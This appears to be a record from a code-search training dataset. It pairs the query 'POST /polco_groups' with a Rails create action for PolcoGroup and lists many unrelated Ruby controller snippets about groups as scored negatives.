"def index\n\n\t\t@groups = Group.find_paginate({:user=> current_user, :page => params[:page], :query => params[:query], :sort => params[:sort], :nb_items => get_nb_items(params[:nb_items]) })\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.xml { render :xml => @groups }\n\t\t\tformat.json { render :json => @groups }\n\t\tend\n\tend",
"def show\n @routinetoobjectgroup = Routinetoobjectgroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @routinetoobjectgroup }\n end\n end",
"def index\n\t#Once sessions are implemented, return all groups where the user has a priveledge\n\t#A table including all subgroups will be generated.\n\tGroup.rebuild! if nil.|Group.find(:first).rgt\n\n\t@groups = current_user.get_unique_group_branches\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @groups }\n end\n end",
"def show\n @add_to_group = AddToGroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @add_to_group }\n end\n end",
"def index\n @contact_groups = ContactGroup.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @contact_groups }\n end\n end",
"def show\n\n @group_definition = GroupDefinition.find(params[:id])\n\n render :xml => @group_definition\n end",
"def index\n @title = \"groups_title\"\n #save_navi_state(['groups_title', 'browse_groups']) #moved to filter\n public_group_ids = Group.get_public_group_ids(session[:cookie])\n # add groups to Kassi db if there are new (made in other services)\n Group.add_new_groups_to_kassi_db(public_group_ids)\n \n @groups = Group.paginate( public_group_ids ,{:page => params[:page], :per_page => per_page})\n end",
"def index\n @title = \"Группы характеристик\"\n @groups = Group.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n end\n end",
"def get_groups(params)\n send_get \"get_groups\", params\n end",
"def GetGroups params = {}\n\n params = params.merge(path: 'groups.json')\n APICall(params)\n\n end",
"def index\n @group = Group.find(params[:group_id])\n @surveys = @group.surveys\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @surveys }\n end\n end",
"def show\n Group.rebuild! if nil.|Group.find(:first).rgt\n\t #this won't work - it won't find children groups\n\t @group = Group.find_by_id(params[:id])\n\t @group = nil unless current_user.can_access_group?(@group)\n respond_to do |format|\n if @group\n format.html # show.html.erb\n format.xml { render :xml => @group }\n else\n flash[:notice] = 'Group invalid or you do not have access to this group.'\n format.html { redirect_to groups_path}\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def list_groups()\n response = HTTParty.get(\"https://graph.microsoft.com/v1.0/groups\", { \n headers: {\n \"Authorization\" => \"Bearer #{bearerToken}\",\n \"Host\" => 'graph.microsoft.com' \n }\n })\n return JSON.parse response.read_body\n end",
"def index\n @forum_groups = ForumGroup.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @forum_groups.to_xml }\n end\n end",
"def index\n @groups = Group.accessible_by(current_ability)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n format.xml { render xml: @groups }\n end\n end",
"def index\n @travel_claims_transport_groups = TravelClaimsTransportGroup.find(:all, :order => 'group_name')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @travel_claims_transport_groups }\n end\n end",
"def show\n @pgroup = Pgroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pgroup }\n end\n end",
"def show\n @pgroup = Pgroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pgroup }\n end\n end",
"def show\n @groups_happening = GroupsHappening.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @groups_happening }\n end\n end",
"def index\n @expensegroups = Expensegroup.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @expensegroups }\n end\n end",
"def show\n save_navi_state(['groups_title', 'browse_groups'])\n begin\n @group = Group.find(params[:id])\n @members = @group.members(session[:cookie]).paginate :page => params[:page], :per_page => per_page\n rescue RestClient::ResourceNotFound => e\n flash[:error] = :group_not_found\n redirect_to groups_path\n rescue ActiveRecord::RecordNotFound => e\n flash[:error] = :group_not_found\n redirect_to groups_path\n end\n end",
"def index\n @people = Person.all\n @group = Group.find(params[:group_id]) \n # render :layout => 'admin'\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @people }\n end\n end",
"def show\n @profesor = Profesor.find(params[:id])\n @grupos = Grupo.find_all_by_profesor_id(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @profesor }\n end\n end",
"def show\n @objectgrouptoobjectgroup = Objectgrouptoobjectgroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @objectgrouptoobjectgroup }\n end\n end",
"def destroy\n @polco_group = PolcoGroup.find(params[:id])\n @polco_group.destroy\n\n respond_to do |format|\n format.html { redirect_to(polco_groups_url) }\n format.xml { head :ok }\n end\n end",
"def index\n @request_groups = RequestGroup.all\n end",
"def custom_groups\n\n groups_list = prep_format(PolcoGroup.where(name: /#{params[:q]}/i, type: :custom))\n\n respond_to do |format|\n format.json {render :json => groups_list}\n end\n end",
"def index\n @image_gallery_groups = ImageGalleryGroup.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @image_gallery_groups }\n end\n end",
"def show\n @grupo = Grupo.find(params[:id])\n @profesor = @grupo.profesor\n @alumnos = @grupo.alumnos\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @grupo }\n end\n end",
"def index\n @resource_groups = ResourceGroup.all\n end",
"def show\n @group = WorkGroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def list\n @groups = Group.find(:all, :order => 'name')\n end",
"def index\n @groups = Group.paginate :page => (params[:page] or 1)\n display @groups\n end",
"def index\n @groups = Group.all\n\n respond_to do |format|\n format.html\n format.json { render json: @groups }\n end\n end",
"def show\n @cultural_heritage_group = CulturalHeritage::Group.find(params[:id])\n @title_view = 'Grupos'\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @cultural_heritage_group }\n end\n end",
"def battlegroups\r\n BnetApi::make_request('/wow/data/battlegroups/')\r\n end",
"def show\n @user = User.get!(params[:id])\n @groups = Group.all(:order => [:name.desc])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @giving_group = GivingGroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @giving_group }\n end\n end",
"def show\n @group = Group.find(params[:id])\n @members = @group.member\n @project = @group.project\n @events = @group.event\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def show\n @grocery_groups = @grocery.groups\n end",
"def get_groups\n @course = Course.find(params[:course_id])\n render json: @course.groups\n end",
"def index\n @pools = Pool.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pools }\n end\n end",
"def show\n @attribute_group = AttributeGroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @attribute_group }\n end\n end",
"def index\n @groupsIds = GroupsProssumer.where(prossumer_id: params[:prossumer_id]).pluck(:group_id)\n @groups = Group.where(id: @groups)\n render json: @groups\n end"
] |
[
"0.6604452",
"0.6604452",
"0.6496511",
"0.63692397",
"0.63457036",
"0.63249075",
"0.63249075",
"0.6271248",
"0.60939056",
"0.6090448",
"0.6070155",
"0.60603446",
"0.60496134",
"0.602715",
"0.6008949",
"0.6006098",
"0.60058933",
"0.59982693",
"0.5993061",
"0.59766114",
"0.59766114",
"0.5965209",
"0.5958134",
"0.5933822",
"0.59253037",
"0.5897351",
"0.5864481",
"0.58570766",
"0.5814401",
"0.5814401",
"0.5814401",
"0.5814401",
"0.5814401",
"0.58092296",
"0.5804728",
"0.58013815",
"0.5801362",
"0.57879585",
"0.57872933",
"0.57755214",
"0.57674295",
"0.57584876",
"0.5755494",
"0.5740768",
"0.57396966",
"0.57321537",
"0.5730226",
"0.5728624",
"0.57249063",
"0.57184577",
"0.5712064",
"0.57047576",
"0.5704632",
"0.5704201",
"0.57037854",
"0.56977177",
"0.569739",
"0.5692812",
"0.5688028",
"0.56857806",
"0.5679063",
"0.5668099",
"0.56605387",
"0.5651579",
"0.5645077",
"0.5640563",
"0.563876",
"0.56304264",
"0.5627207",
"0.56170976",
"0.5615467",
"0.5605933",
"0.5596238",
"0.5596238",
"0.557701",
"0.5576091",
"0.55739796",
"0.55678564",
"0.55633855",
"0.5562949",
"0.5561898",
"0.55604625",
"0.5547344",
"0.5545325",
"0.55436003",
"0.5543363",
"0.55422014",
"0.55394524",
"0.5533966",
"0.55329615",
"0.55320626",
"0.5531436",
"0.55267155",
"0.55190843",
"0.55151325",
"0.5511959",
"0.5510231",
"0.55057645",
"0.5505406",
"0.54993683"
] |
0.62474316
|
8
|
GET /polco_groups/new GET /polco_groups/new.xml
|
def new
@polco_group = PolcoGroup.new
respond_to do |format|
format.html # new.html.erb
format.xml { render :xml => @polco_group }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n Group.rebuild! if nil.|Group.find(:first).rgt\n\t @group = Group.new\n\t @groups = current_user.get_unique_group_branches.map {|g| g.get_self_and_children?}.flatten\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @add_to_group = AddToGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @add_to_group }\n end\n end",
"def new\n @group = Group.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n add_breadcrumb \"Social\", social_path()\n add_breadcrumb \"Create group\"\n \n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def create\n # TODO -- might not be needed -- load or authorize\n @polco_group = PolcoGroup.new(params[:polco_group])\n @polco_group.title = \"#{params[:polco_group][:name]}_custom\"\n\n respond_to do |format|\n if @polco_group.save\n format.html { redirect_to(@polco_group, :notice => 'PolcoGroup was successfully created.') }\n format.xml { render :xml => @polco_group, :status => :created, :location => @polco_group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @polco_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @group = Group.new\n \n respond_to do |format|\n format.html\n format.xml { render :xml => @group.to_xml }\n end\n end",
"def new\n @group = Group.new\n \n respond_to do |format|\n format.html\n format.xml { render :xml => @group.to_xml }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @group }\n format.xml { render xml: @group }\n end\n end",
"def new\n @group_of_task = GroupOfTask.new\n @projects = Project.find(:all)\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group_of_task }\n end\n end",
"def new\n @group = Group.new\n @title = 'Create Group'\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new #:nodoc:\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.haml\n # format.xml { render :xml => @group }\n end\n end",
"def new\n\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @ail_group = AilGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ail_group }\n end\n end",
"def new\n @group = Group.new(:owner => current_user)\n authorize @group, :new?\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @lab_group = LabGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lab_group }\n end\n end",
"def new\n @grupo = Grupo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @grupo }\n end\n end",
"def new\n @group = SuperSimpleCms::Group.new\n\n respond_to do |format|\n format.html {render :template=>'admin/groups/new'}\n format.js {render :template=>'admin/groups/new', :layout=>false}\n format.xml { render :xml => @group }\n end\n end",
"def new\n @provider_group = ProviderGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @provider_group }\n end\n end",
"def new\n @group = GROUP.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @routinetoobjectgroup = Routinetoobjectgroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @routinetoobjectgroup }\n end\n end",
"def new\n @groups = Group.all\n respond_to do |format|\n format.html # new.html.haml\n format.xml { render :xml => @person }\n format.json { render :json => @person }\n end\n end",
"def new\n @pgroup = Pgroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pgroup }\n end\n end",
"def new\n @pgroup = Pgroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pgroup }\n end\n end",
"def new\n\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n format.json { render :json => @group }\n end\n end",
"def new\n @jido_grp_rel = JidoGrpRel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @jido_grp_rel }\n end\n end",
"def new\n @group_list = GroupList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group_list }\n end\n end",
"def new\n @record_group = RecordGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @record_group }\n end\n end",
"def new\n @group = WorkGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @attribute_group = AttributeGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @attribute_group }\n end\n end",
"def new\n @user_group = UserGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user_group }\n end\n end",
"def new\n\t\t@group = Group.new\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.xml { render :xml => @group }\n\t\t\tformat.json { render :json => @group }\n\t\tend\n\tend",
"def new\n\t\t@group = Group.new\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.xml { render :xml => @group }\n\t\t\tformat.json { render :json => @group }\n\t\tend\n\tend",
"def new\n @personnel_group = PersonnelGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @personnel_group }\n end\n end",
"def new\n @fgroup = Fgroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @fgroup }\n end\n end",
"def new\n @giving_group = GivingGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @giving_group }\n end\n end",
"def new\n @groups_happening = GroupsHappening.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @groups_happening }\n end\n end",
"def newAluGroup\n @competence_group = CompetenceGroup.new\n\t\t@competence_group.competence_id = params[:competence_id]\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @competence_group }\n end\n end",
"def new\n @slicegroup = Slicegroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @slicegroup }\n end\n end",
"def new\n @objectgrouptoobjectgroup = Objectgrouptoobjectgroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @objectgrouptoobjectgroup }\n end\n end",
"def new\n @group = Group.new\n @membership = Membership.new\n @group_permission = GroupPermission.new\n @metro_areas = MetroArea.find(:all)\n @states = State.find(:all)\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.haml\n format.js # new.js.rjs\n format.xml { render :xml => @group }\n format.json { render :json => @group }\n end\n end",
"def new\n @pool = Pool.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pool }\n end\n end",
"def new\n @resource = Resource.new\n @resource_groups = ResourceGroup.alphabetical.all\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resource }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n #format.html # new.html.erb\n #format.xml { render :xml => @group }\n format.js { render :action => 'new' }\n end\n end",
"def new\n @group = Group.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @group }\n end\n end",
"def new\n @title = \"Добавление группы характеристик\"\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @group }\n end\n end",
"def new\n @targetgroup = Targetgroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @targetgroup }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @group }\n end\n end",
"def new\n @group = Group.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @group }\n end\n end",
"def new\n @volunteer = Volunteer.new\n @groups = Group.find(:all)\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @volunteer }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @group }\n end\n end",
"def new\n @group.parent_id = params[:group_id]\n \n add_breadcrumb 'Your hubs', :hubs_path\n add_breadcrumb @hub.name, hub_path(@hub)\n unless params[:group_id]\n add_breadcrumb 'New group', new_hub_group_path(@hub)\n else\n add_breadcrumb 'New sub group', hub_group_subgroup_path(@hub, @group.parent)\n end\n \n append_title 'New group'\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @group }\n end\n end",
"def new\n @contact_group = ContactGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @contact_group }\n end\n end",
"def new\n \n @group = Group.find(params[:group_id])\n @title=\"Подать заявку на обучение в группе: \"[email protected] \n @person = Person.new(:group=>@group)\n #@groups=Group.all(:conditions=>['open=?',true])\n # render :layout => 'admin'\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @person }\n end\n end",
"def new\n @title = t('view.customers_groups.new_title')\n @customers_group = CustomersGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @customers_group }\n end\n end",
"def new\n @title = t('view.customers_groups.new_title')\n @customers_group = CustomersGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @customers_group }\n end\n end",
"def new\n @esol_group = EsolGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @esol_group }\n end\n end",
"def new\n save_navi_state(['groups_title', 'new_group'])\n @group = Group.new\n end",
"def new\n @laboratory_test_group = LaboratoryTestGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @laboratory_test_group }\n end\n end",
"def new\n @target_group = TargetGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @target_group }\n end\n end",
"def new\n @group_outing = GroupOuting.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group_outing }\n end\n end",
"def create\n @group = Group.new(params[:group])\n\n respond_to do |format|\n if @group.save\n format.html { redirect_to(view_group_path(@group.label), :notice => 'Group was successfully created.') }\n format.xml { render :xml => @group, :status => :created, :location => @group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @user = User.new\n @groups = Group.all(:order => [:name.desc])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def create\n @provider_group = ProviderGroup.new(params[:provider_group])\n\n respond_to do |format|\n if @provider_group.save\n flash[:notice] = 'ProviderGroup was successfully created.'\n format.html { redirect_to(@provider_group) }\n format.xml { render :xml => @provider_group, :status => :created, :location => @provider_group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @provider_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @pcategory = Pcategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pcategory }\n end\n end",
"def new\n @transaction_group = TransactionGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @transaction_group }\n end\n end",
"def new\n @server_group = ServerGroup.new\n @account = User.find(session[:user_id]).account\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @server_group }\n end\n end",
"def new\n @group_request = GroupRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @group_request }\n end\n end",
"def new\n @groupaddrobj = Groupaddrobj.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @groupaddrobj }\n end\n end",
"def new\n @groupon = Groupon.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @groupon }\n end\n end",
"def new\n @expensegroup = Expensegroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @expensegroup }\n end\n end",
"def create\n @lab_group = LabGroup.new(params[:lab_group])\n\n respond_to do |format|\n if @lab_group.save\n flash[:notice] = 'LabGroup was successfully created.'\n format.html { redirect_to(@lab_group) }\n format.xml { render :xml => @lab_group, :status => :created, :location => @lab_group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @lab_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @group_permission = GroupPermission.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group_permission }\n end\n end",
"def new\n @radio_group = RadioGroup.new\n @dispatch_centers = DispatchCenter.all\n @crews = Crew.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @radio_group }\n end\n end",
"def new\n @group = Group.new\n render json: @group\n end",
"def create\n @ail_group = AilGroup.new(params[:ail_group])\n\n respond_to do |format|\n if @ail_group.save\n flash[:notice] = 'AilGroup was successfully created.'\n format.html { redirect_to(@ail_group) }\n format.xml { render :xml => @ail_group, :status => :created, :location => @ail_group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ail_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @group = Group.new\n\n render json: @group\n end",
"def new\n @image_gallery_group = ImageGalleryGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @image_gallery_group }\n end\n end",
"def new\n @group = Group.new\n respond_to do |format|\n #format.html # new.html.erb\n format.json { render json: @group }\n end\n end",
"def new\n new_prc\n\n setup_campuses_and_semesters\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @prc }\n end\n end",
"def new\n @node = Node.scopied.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end",
"def new\n @group = Group.new \n end"
] |
[
"0.7325297",
"0.718781",
"0.7174907",
"0.7173837",
"0.71379966",
"0.71379966",
"0.71379966",
"0.71379966",
"0.71379966",
"0.71379966",
"0.71379966",
"0.71379966",
"0.71379966",
"0.7100784",
"0.70862955",
"0.70862955",
"0.7070828",
"0.7053739",
"0.7034184",
"0.70267713",
"0.702076",
"0.6945805",
"0.6939824",
"0.69280076",
"0.6912709",
"0.6912279",
"0.69115293",
"0.68959796",
"0.68833804",
"0.6837648",
"0.6832437",
"0.6832437",
"0.68151265",
"0.67996186",
"0.67969406",
"0.6790572",
"0.6777823",
"0.6753347",
"0.6733284",
"0.6716708",
"0.6716708",
"0.67163527",
"0.67071533",
"0.6697339",
"0.6684608",
"0.6673587",
"0.666787",
"0.6665678",
"0.6651567",
"0.6648414",
"0.6624037",
"0.6613825",
"0.659892",
"0.6560721",
"0.6555136",
"0.6543091",
"0.654141",
"0.654141",
"0.654141",
"0.654141",
"0.654141",
"0.654141",
"0.654141",
"0.654141",
"0.6525042",
"0.65214884",
"0.6508524",
"0.6508524",
"0.6497644",
"0.64924175",
"0.64784926",
"0.64694256",
"0.64609337",
"0.64609337",
"0.64494175",
"0.6448187",
"0.6439974",
"0.6437557",
"0.6386737",
"0.6373015",
"0.63668424",
"0.63665277",
"0.6359666",
"0.63577944",
"0.6345639",
"0.6336254",
"0.63328946",
"0.63310313",
"0.63112336",
"0.63071203",
"0.6302064",
"0.62985635",
"0.628361",
"0.6281714",
"0.6262181",
"0.6261795",
"0.6259835",
"0.6249675",
"0.62436414",
"0.6241068"
] |
0.7936298
|
0
|
POST /polco_groups POST /polco_groups.xml
|
def create
# TODO -- might not be needed -- load or authorize
@polco_group = PolcoGroup.new(params[:polco_group])
@polco_group.title = "#{params[:polco_group][:name]}_custom"
respond_to do |format|
if @polco_group.save
format.html { redirect_to(@polco_group, :notice => 'PolcoGroup was successfully created.') }
format.xml { render :xml => @polco_group, :status => :created, :location => @polco_group }
else
format.html { render :action => "new" }
format.xml { render :xml => @polco_group.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @polco_group = PolcoGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @polco_group }\n end\n end",
"def create\n ip = request.location\n @user = current_user\n @group = @user.groups_as_owner.new(params[:group])\n params[:group][:member_ids] = (params[:group][:member_ids] << @group.member_ids).flatten\n @group.school_id = @user.school_id\n respond_to do |format|\n if @group.save\n format.html { redirect_to @group, notice: 'Group was successfully created.' }\n format.json { render json: @group, status: :created, location: @group }\n else\n format.html { render action: \"new\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def CreateGroup params = {}\n \n APICall(path: 'groups.json',method: 'POST',payload: params.to_json)\n \n end",
"def createGroup(groupName, gid)\r\n uri = sprintf(\"/api/v1/group_categories/%d/groups\", gid) \r\n \r\n dbg(\"POST #{uri}\")\r\n dbg(\"name=#{groupName}\")\r\n newGroup = $canvas.post(uri, {'name' => groupName})\r\n dbg(newGroup)\r\n return newGroup\r\nend",
"def createGroup(groupName, gid)\r\n uri = sprintf(\"/api/v1/group_categories/%d/groups\", gid) \r\n \r\n dbg(\"POST #{uri}\")\r\n dbg(\"name=#{groupName}\")\r\n newGroup = $canvas.post(uri, {'name' => groupName})\r\n dbg(newGroup)\r\n return newGroup\r\nend",
"def new_nodegroup(nodegroup_json)\n nodemgr_rest_call(\"POST\", \"classifier\", \"groups\", $credentials, id=\"\", nodegroup_json)\nend",
"def add_ce_group\n self.refresh_access_token!\n\n haml_template = File.read(File.join(TEMPLATES_DIR, 'group.xml.haml'))\n request_body = Haml::Engine.new(haml_template, remove_whitespace: true).render(Object.new)\n\n @response = @oauth_access_token.post(\n 'https://www.google.com/m8/feeds/groups/default/full',\n {\n body: request_body,\n headers: {\n 'Content-type' => 'application/atom+xml',\n 'GData-Version' => '3.0'\n }\n }\n )\n\n group_id = GROUP_REGEX.match(@response.body)[1]\n\n @response.status == 201 ? group_id : nil\n end",
"def generate(groups)\n groups_params = groups.inject({}) do |params, (k, v)|\n params[\"groups[#{k}]\"] = 1\n params\n end\n\n response = RouteNGN.put self.class.base_url, {:id => self.id}.merge!(groups_params)\n response.success?\n end",
"def create\n #redirect_to new_grouping_path if params[:grouping][:name] == ''\n #@grouping = Grouping.new(params[:grouping])\n @grouping.company_id = current_user.company_id\n\n if @grouping.save\n gflash :success => 'Group created.' \n else\n @users = []\n @root = false\n end\n \n #redirect_to edit_grouping_path(@grouping)\n respond_with(@grouping)\n end",
"def create\n #logger.info \"Post parameters: #{params}\"\n @group = Group.new(name: params[:group][:name], expiration: params[:group][:expiration])\n if @group.save\n params[:group][:users].each do |u|\n Membership.create(group: @group, user: User.where(\"id = ? OR email = ?\", u[:id], u[:email]).first, admin:u[:admin])\n end\n render json: @group, status: :created, location: @group\n else\n render json: @group.errors, status: :unprocessable_entity\n end\n end",
